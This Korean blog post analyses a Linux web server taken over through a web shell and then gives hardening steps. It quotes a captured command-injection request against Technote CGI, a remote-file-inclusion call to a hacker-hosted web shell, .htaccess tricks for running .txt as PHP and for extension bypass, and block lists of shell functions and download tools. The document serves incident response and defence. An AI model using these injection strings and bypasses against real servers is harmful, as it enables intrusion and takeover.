Proto RefCnt Flags Type State I-Node PID/Program name Path

unix 2 [ ACC ] STREAM LISTENING 1318 655/ /var/lib/mysql/mysql.sock

정상적인 웹 서버는 다음과 같이 나타난다. 80포트가 열려져 있는 것을 알 수 있다. 26032는 실행되고 있는 아파치 프로세스의 pid이다.

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 26032/httpd

udp 0 0 0.0.0.0:37029 0.0.0.0:* 25479/httpd

위의 프로세스를 보자. pid 25479인 이 프로세스는 아파치 웹서버 프로세스로 위장 되어 있지만 실질적으로는 37029번 포트로 서비스 되고 있는 hack 프로세스이다. 그리고 tcp가 아니 udp를 사용하고 있는 것도 눈에 띈다. sshd 프로세스도 마찬가지이다. 22번 포트를 LISTEN하고 있는 pid 588 프로세스가 정상적인 sshd 프로세스이다. 25089프로세스는sshd로 위장된 비 정상적인 프로세스이다.

3306포트와 53번 포트를 리슨하고 있는 것은 각각 mysqld와 named프로세스로 정상적인 프로세스들이다.

이제는 좀더 깊이 들어가서 이 프로세스들이 어디서 실행되고 있는지 한 번 살펴 보자.

lsof -p 25479

lsof 명령어는 파일과 프로세스의 입출력 상태를 나타내주는 명령어로 pstree와 netstat 다음으로 사용법을 잘 익혀둘 필요가 있는 매우 유용한 명령어이다. p옵션은 프로세스 id의 입출력 상태를 나타내주는 옵션으로 다음 부분을 살펴볼 필요가 있다.

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

httpd 25479 apache cwd DIR 0,8 280 321300582 /dev/shm/bq

httpd 25479 apache txt REG 0,8 612470 321300590 /dev/shm/bq/httpd

httpd 25479 apache 0u IPv4 563618039 TCP 192.168.10.1:48562

->irc2.saunalahti.fi:ircd (ESTABLISHED)

httpd 25479 apache 5u REG 3,7 0 55 /tmp/ZCUDUzGlho (deleted)

httpd 25479 apache 6u IPv4 321303856 UDP *:37029

일단 이 위장 프로세스가 실행되고 있는 위치는 /dev/shm/bq/httpd라는 것을 알 수 있다.

192.168.10.1:48562->irc2.saunalahti.fi:ircd (ESTABLISHED)

이 부분을 주의 깊게 살펴 보자. 현재 해킹된 서버에서 irc2.saunalahti.fi 서버의 6667(ircd)포트로 접속 되어 있는 것을 알 수 있다. 즉 이 서버는 현재 좀비 컴퓨터화 되어 있다. 한마디로 말해서 해커가 원격에서 irc bot을 이용하여 이 서버를 자신이 원하는 데로 조종할 수 있다는 말이다. 이러한 좀비 컴퓨터를 대량으로 확보하면 해커는 보통 분산 서비스 거부 공격(DDOS ATTACK)을 하는데 이용하거나 돈을 받고 팔기도 한다. 특히 IDC에 상주되어 있는 서버가 해커 손에 넘어가면 최대 100M급의 트래픽 공격을 할 수 있는 든든한 무기를 손에 넣게 된다.

 

USER부분을 살펴보자 apache라고 되어 있다. 현재 이 서버에서 실행되고 있는 웹서버의 권한이 apache로 웹해킹을 통해서 서버의 apache권한을 획득한 것을 볼 수 있다.

 

다음과 같은 명령으로 이서버의 전체적인 입출력 상태를 체크해 볼 수 있다.

lsof –I –n |grep apache

문제가 되는 apache권한만 살펴 보면 다음과 같은 입출력 상태가 2~300개씩 나타나고 있었다.

sshd 23901 apache 8u IPv4 397205096 TCP 192.168.10.1:56970->217.18.114.168:ssh (ESTABLISHED)

외부에 ssh스캔 공격을 하고 있을 때의 대표적 증상이다. 만약 다량의 스팸 메일을 보낸다면 외부 ip의 25번포트(SMTP포트)로 수많은 연결이 보일 것이다. 이 외에도 ircd로의 접근도 포착 될 것이다.

lsof 명령어는 서버의 입출력 상태를 점검할 때 매우 유용한 명령어이니 잘 익혀두는 것이 좋다.

 

일단 hack process가 설치된 /dev 디렉터리를 좀더 자세히 점검해 보자.

find /dev –type f

일단 정상적인 경우를 살펴보자

/dev/.udev.tdb

/dev/MAKEDEV

centos5같은 경우

/dev/.udev 디렉토리와 그 아래 디렉토리만 파일들만 있어야지 정상이다.

find 명령어로 살펴보니 아래와 같은 많은 수많은 hack tool들이 설치 되어 있는 것을 확인 할 수 있었다.

/dev/MAKEDEV

/dev/shm/stopex.pl

/dev/shm/bq/raw.session

/dev/shm/bq/Presedinte.seen

/dev/shm/bq/Silvic.seen

/dev/shm/bq/RamonaT.seen

/dev/shm/bq/httpd

/dev/shm/bq/3

/dev/shm/st/src/dcc.c

/dev/shm/st/src/parse.c

/dev/shm/st/src/main.c

/dev/shm/st/src/gencmd.c

/dev/shm/st/src/Makefile

웹쉘 권한을 얻었을 때 이와 같은 툴들이 설치되는 이유는 퍼미션 때문이다.

ll –ld /dev/shm

drwxrwxrwt 2 root root 40 Nov 6 13:33 /dev/shm

/dev/shm, /var/tmp, /tmp 폴더등은 1777권한을 가지고 있기 때문에 웹쉘을 통해 권한을 얻었을 경우 쉽게 해킹툴들을 업로드 하고 이를 실행 시키는데 사용되는 디렉터리로 평소 주의를 기울여 관리해야 한다. 이외에도 디렉터리에 apache나 nobody유저에 쓰기 권한을 주거나 777같은 퍼미션을 주는 경우는 매우 잘못된 습관이라고 할 수 있다.

# cd /dev/shm/st

[root@canacom st]# ll

합계 836

-rwxr-xr-x 1 apache apache 2156 7월 11 2005 Makefile

-rwxr-xr-x 1 apache apache 20358 1월 2 2003 configure

-rwxr-xr-x 1 apache apache 585643 1월 4 2007 sshd

-rwxr-xr-x 1 apache apache 17495 1월 4 2007 stealth

보면 apache권한을 가지고 있는 것을 알 수 있다.

lsof 명령어로 보여주는 결과 값이 너무 길어서 의미가 있는 것 만 적었다. 다음 perl명령어는 원격에서 root로 쉘 권한을 가지고 직접 접속해서 명령을 내린 것으로 해커가 어떤 방법을 써서 아파치 권한에서 root로 권한이 상승 된 것을 확인 할 수 있다.

lsof -p 6411

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

perl 6411 root cwd DIR 3,7 4096 87745 /tmp/.tmp

perl 6411 root rtd DIR 22,9 4096 2 /

perl 6411 root txt REG 3,5 12572 33642 /usr/bin/perl

perl 6411 root 0u CHR 136,1 3 /dev/pts/1

perl 6411 root 1u CHR 136,1 3 /dev/pts/1

perl 6411 root 2u CHR 136,1 3 /dev/pts/1

perl 6411 root 3r REG 3,7 116030 87748 /tmp/.tmp/bnc

perl 6411 root 4u IPv4 398045837 TCP *:24338 (LISTEN)

perl 6411 root 5r DIR 3,7 4096 43873 /tmp/.tmp/logs

perl 6411 root 6u IPv4 398046908 TCP 192.168.10.1:24338->189.14.64.131:1327 (ESTABLISHED)

perl 6411 root 7u IPv4 398046908 TCP 192.168.10.1:24338->189.14.64.131:1327 (ESTABLISHED)

perl 6411 root 8u IPv4 398049150 TCP 192.168.10.1:35825->own.ipapo.org:ircd (ESTABLISHED)

다음 부분을 주목해서 보자.

perl 6411 root 0u CHR 136,1 3 /dev/pts/1

원격 터미널을 통해서 슈퍼유저 권한으로 로그인한 것으로 추정된다. 이 상태에서 이미 최상위 권한을 탈취했으므로 이 시스템은 완전히 해커에게 장악 당했다고 볼 수 있다.

 

다음과 같은 명령으로 서버에서 실행되는 백 도어 프로세스에 관한 좀더 자세한 정보를 알 수 있다. 테크노트 게시판의 취약점을 이용해서 원격에서 쉘 명령어를 실행 시킨 것을 알 수 있다.

 

#ps -auxe --cols=3000

/usr/sbin/sshd shd _CMD=cd /dev/shm/n; nohup ./start 217 >>/dev/null & 2>&1;pwd SERVER_SIGNATURE=<ADDRESS>Apache/1.3.31 Server at test.co.kr

Port 80</ADDRESS>?

HTTP_USER_AGENT=Getter/0.1

SERVER_PORT=80

HTTP_HOST=www.test.co.kr

DOCUMENT_ROOT=/home/test/public_html SCRIPT_FILENAME=/home/test/public_html/technote/main.cgi REQUEST_URI=/technote/main.cgi?down_num=784879&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22| SCRIPT_NAME=/technote/main.cgi

REMOTE_PORT=55507

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin

HTTP_TE=deflate;q=0.3

PWD=/dev/shm/n

QUERY_STRING=down_num=784879&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22|

SERVER_ADDR=192.168.10.1

GATEWAY_INTERFACE=CGI/1.1

SERVER_PROTOCOL=HTTP/1.0

REQUEST_METHOD=GET _=./sshd

 

테크노트 cgi 관한 원격 명령어 실행 취약점은 국정원에서 발표한 보안 취약점 8종의 한가지로 반드시 최신 버전의 테크노트로 업그레이드 하여야 한다.

 

또한 php를 사용할 경우는 반드시 php.ini 파일에

allow_url_fopen = Off

register_globals = Off

로 해놓는 것을 명심하자. 지금까지 경험한 바로 php경우 대부분 저 두 옵션으로 인하여 문제가 발생했다.

또한 php 개발자분들께 당부하고 싶은 것은 위의 두 옵션을 끄고 코딩을 해야 한다는 것이다. 그렇지 않을 경우 원한 던 그렇지 않던 잠재적인 보안 위협을 가진 소스를 만들어 내게 된다.

 

지금까지 웹 해킹 침해 사고를 당한 시스템을 간단하게 분석해 보았다. pstree, netstat, lsof, ps 명령어등은 리눅스에서 트러블슈팅을 하는데 정말 요긴하게 사용하는 명령어이므로 사용법을 자세하게 알아둘 필요가 있다. 일단 해커가 웹 쉘 권한을 얻으면 가능한 모든 디렉터리에 웹 쉘을 업로드 하여 하나의 침입경로가 막히면 다른 경로로 들어오기 때문에 대처하는데 어려움이 따른다.

 

그렇기 때문에 다시 한번 강조하지만 allow_url_fopen = Off, register_globals = Off 잊지 말도록 하자.

일단 웹쉘이 서버에 업로드 되면 그 서버는 해커의 수중에 들어 갔다고 보아야 한다. 이후 해커는 다양한 방법으로 서버의 정보를 취득하고 해킹툴을 이용해서 권한 상승을 노린다.

 

allow_url_fopen = On인 웹 페이지 취약점을 통해 다음과 같이 쉘권한을 얻을 수 있다.

 


http://www.test.com/Test.php -----------------> http://hack.com/webshell.txt

타킷서버의 Test.php에 취약점이 존재하는 경우 hack.com에 존재하는 webshell을 불러들여 쉘 권한을 획득 한 다음 내부 서버의 정보를 모으고 백도어를 설치하고 권한 상승을 노린다. 대표적으로 구 제로보드에서 많이 발생하고 있다.

웹쉘 실행 화면

 

이제부터 이러한 웹쉘에 대한 대응 방법에 대해 몇 가지 알아 보려고 한다.

 

우선 첫째로 당연한 것이겠지만 자신이 운영하고 있는 웹소스에서 보안 취약점을 제거해야 한다. 하지만 이것은 실제적으로 침해사고를 당하지 않는 한 탐지하기가 어려운 면이 있다. 특히 자신이 개발자가 아니고 단순히 운영만 하는 입장이라면 더욱 그렇다. 하지만 널리 알려진 웹 보안 취약점은 modsecurity 같은 무료 웹 방화벽으로 공격을 사전 차단 할 수 있을 뿐 아니라 차단 기능을 꺼 놓고 로그만 기록하게 해도 나중에 사고를 당했을시 로그 분석을 통해 원인을 찾는데 도움이 되므로 가능한 운영하는게 좋다. 공개 무료 웹방화벽 운영에 관한 자료는 정보보호진흥원에서 운영하는 다음 사이트에서 많은 도움을 받을 수 있다.

http://www.krcert.or.kr/firewall2/index.jsp

 

두번째는 필요없는 php 함수들은 사용 할 수 없게 하는 것도 하나의 방법이다. 설정은 php.ini에다음과 같은 방법으로 할 수 있다.

 

대부분이 서버의 정보를 보여주는 설정들이다. 서비스에 별 필요 없는 기능들이고 서버에 어떠한 영향을 주는 함수들은 아니지만 해커에 의해 악용 될 수 있기 때문에 막아 놓은 것이 나을것이다.

disable_functions = php_uname, ini_set, getenv, get_user, phpversion, ini_get, ini_get_all, phpinfo, system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec

특히 주의할 점은 system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec 함수들은 서버상에서 운영체제 명령어를 실행 시키는 명령들이다. 일단 웹쉘이 업로드 되면 위의 함수들로 서버상에서 작업을 할 수 있으므로 막는게 좋으나 실제 운영되고 있는 홈페이지에서도 사용 할 수 있으므로 잘 알아 보고 필요한 함수는 빼고 설정 하는 것이 좋다.

 

세번째는 파일업로드 기능을 사용하지 않는다면 php.ini 에서 file_uploads 기능을 off 시키거나 파일 업로드를 한다면 업로드 디렉터리에 .htaccess을 사용해 업로드 되는 디렉터리에서는 php를 아예 사용 할 수 없게 하는 것이다.

 

파일을 업로드 시키는 디렉터리에 다음과 같이 .htaccess 파일을 작성하자.

 

<FilesMatch "\.(html|htm|php|pl|cgi|inc|lib)">

Order allow,deny

Deny from all

</FilesMatch>

해당 확장자로 끝나는 파일들은 접속이 금지된다.

 

이 방법은 해커가 웹쉘을 업로드 할 때도 사용 할 수 있다.

만약 php확장자를 가진 소스를 업로드 하지 못하게 했다면 해커는 다음과 같이 하여 확장자를 우회할 수 있다.

다음 내용을 가진 .htaccess파일을 업로드 시킨다.

AddType application/x-httpd-php .txt

이후 txt 파일은 모두 php로 인식한다. 해커는 웹쉘의 확장자를 txt파일로 변경하여 서버에 올리면 된다.마찬가지 방법으로 다음과 같은 .htaccess 파일을 올려서 바이러스나 해킹툴을 설치하기도 한다.

ErrorDocument 403 http://www.hacktest.co.kr/hack.txt

ErrorDocument 404 http://www.hacktest.co.kr/hack.txt

 

이는 다음과 같은 명령어로 탐지가 가능하다.

find `locate .htaccess` -exec egrep -l -i 'txt' {} \; 2>/dev/null

find `locate .htaccess` -exec egrep -l –I 'http://' {} \; 2>/dev/null

 

그 다음으로 할 일은 서버에 업로드 된 웹쉘을 제거하는 일이다. 한국 정보보호진흥원에서 개발한 웹 쉘 탐지 프로그램 Whistl을 이용하여 서버에 업로드 된 웹쉘을 제거 할 수 있다. 이 프로그램은 리눅스는 물론 윈도우에서도 동작하고 정확성도 높기 때문에 웹쉘 탐지 및 제거에 매우 추천 할 만한 프로그램이다.

프로그램은 다음 사이트의 공지사항에서 신청서를 작성한 후 신청하면 사용 할 수 있다.

http://www.krcert.or.kr/index.jsp

사용방법은 상당히 직관적이고 쉬운편이다. 보내온 프로그램의 압축을 풀면 프로그램과 함께 설명서에 사용법이 적혀져 있다. 다음과 같이 간단히 사용 할 수 있다.

./whistl_kernel_2.6 –c

우선 자기 서버에 맞게 환경 설정을 해준다.

whistl Configuration

[1] Checking Directory : /home/sungon

[2] Inspection Center directory : /tmp

[3] Extension of php : inc,php,php3,php4,php5,ph

[4] Extension of jsp : jsp,js

[s] save

[q] quit

1번 메뉴를 누르고 검사할 디렉터리를 지정해 준다. /home 폴더 전체를 지정해 줄 수도 있다.

Choose Menu : 1

Checking Directory :/var/www/html

 

[1] Checking Directory : /var/www/html

[2] Inspection Center directory : /tmp

[3] Extension of php : inc,php,php3,php4,php5,ph

[4] Extension of jsp : jsp,js

[s] save

[q] quit

3번 메뉴을 누르고 검사할 파일의 확장자를 지정해 준다. txt확장자를 추가해 주었다.

Choose Menu : 3

Extension of php :inc,php,php3,php4,php5,ph,txt

 

[1] Checking Directory : /var/www/html

[2] Inspection Center directory : /tmp

[3] Extension of php : inc,php,php3,php4,php5,ph,txt

[4] Extension of jsp : jsp,js

[s] save

[q] quit

Choose Menu : s

 

[1] Checking Directory : /var/www/html

[2] Inspection Center directory : /tmp

[3] Extension of php : inc,php,php3,php4,php5,ph,txt

[4] Extension of jsp : jsp,js

[s] save

[q] quit

Choose Menu : q

 

다음과 같이 검사를 하면

./whistl_kernel_2.6

id : testid

pwd : password

Checking the configration

[Config] Checking directory : /var/www/html

[Config] Inspection Center directory : /tmp

 

Checking the update status

[INFO] Pattern Update Finished

 

Checking /var/www/html directory

[5 Found] /var/www/html/test2.php

[18 Found] /var/www/html/test.txt

 

Check Result

[INFO] 2 Files checked

[INFO] 2 Suspected WebShell

[INFO] Time cost : 00:00:10

[INFO] Finish sending the checking result

웹쉘이 탐지되는 것을 알 수 있다. [5 Found] 나 [18 Found] 같은 숫자는 해당 파일에서 모두 5개의 웹쉘 패턴이 일치되었다는 것을 말한다. 5이상은 웹쉘이 거의 확실하지만 일치되는 패턴 숫자가 1이나 2이라면 정상적인 파일이 아닌지 확인해 봐야 한다. 경험상 1이나 2는 거의 정상적인 파일이고 패턴대응 숫자가 5이상이면 웹쉘이 확실하다고 보면 된다.

다만 아쉬운 점은 프로그램이 복수의 확장자를 지원하지 않는다는 사실이다. 아파치(apache)에서는 복수의 확장자를 지원하기 때문에 webshell.php.test 같은 확장자를 가진 프로그램도 모두 php로 인식한다. 때문에 확장자를 약간만 변경하면 탐지프로그램을 우회할 수 있다.

이 부분은 추후에 개선이 되야 할 사항 같다.

 

리눅스를 사용하는 경우에는 디렉터리나 파일의 퍼미션에도 신경을 써야 한다. 777 퍼미션이나 파일이나 디렉터리에 apache나 nobody로 소유권을 설정하는 것은 가능한 피해야 한다.

업로드 디렉터리나 세션이 저장되는 디렉터리에는 어쩔 수 없이 707 퍼미션을 주어야 겠지만 그 외의 디렉터리에는 701 퍼미션을 주고 파일에는 644 퍼미션을 준다. cgi같은 경우에는 755퍼미션을 주지 않으면 실행이 되지 않으므로 주의한다.

 

그외에도 /etc/cron.daily에 스크립트를 하나 만들어 다음과 같이 명령어에 제한을 걸어 슈퍼유저외에는 사용을 못하게 할 수도 있다.

 

#!/bin/sh

chmod 701 /

chmod 701 /home

 

cd /etc

chmod 600 fstab

chmod 600 hosts.*

chmod 600 modprobe.conf

chmod 600 sysctl.conf

chmod 600 redhat-release

 

cd /usr/bin

chmod 700 wget

chmod 700 lynx

chmod 700 curl

chmod 700 lwp-*

chmod GET

 

만약 사용되고 있는 서버가 여러 유저들이 모두 같이 사용하는 서버라서 명령어 제한이 자유롭지 못하다며acl 기능을 사용해서 nobody권한의 유저만 제한을 걸 수 도 있다.

acl 기능은 다음과 같이 하면 사용 할 수 있다.

 

vi /etc/fstab

/dev/sda8 / ext3 defaults,acl 1 1

/dev/sda7 /usr ext3 defaults,acl 1 2

이렇게 acl을 옵션으로 붙여주고 다시 리마운트 한다.

mount -o remount /

mount -o remount /usr

 

다음과 같이 제한하고자 하는 명령어에 nobody유저만 접근이 안되게 한다.

setfacl -R -m u:nobody:- `which find`

setfacl -R -m u:nobody:- `which ls`

setfacl -R -m u:nobody:- `which chmod`

setfacl -R -m u:nobody:- `which echo`

setfacl -R -m u:nobody:- `which cat`

 

정책이 정확하게 적용이 되었는지 확인한다.

ls –al `which find`

-rwxr-xr-x+ 1 root root 52460 Oct 20 2004 /usr/bin/find

끝에 +가 붙어 있으면 acl기능이 작동을 하는 것이다. acl기능을 제거 하려고 하면 다음과 같이 하면 된다.

setfacl -b /usr/bin/find

이상으로 웹 해킹 서버에 대한 간단한 분석 방법과 서버에서의 웹쉘에 대한 대처 방법에 대해 마치려고 한다. 웹서버 보안은 하나의 보안 어플리케이션으로 모든 것을 완벽하게 막을 수는 없다. 가능한 알고 있는 모든 방법을 다 적용하여서 조금씩 보안 허점을 줄여 나가는 수밖에 없다. 또한 리눅스 같은 경우 반드시 방화벽 정책을 수립하여 운영함으로써 해커가 서버를 악의적으로 운영하거나 외부로 공격을 하지 못하게 해야 한다. 이에 관해서는 차후에 다루어 보도록 하겠다.

Posted by redkite
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함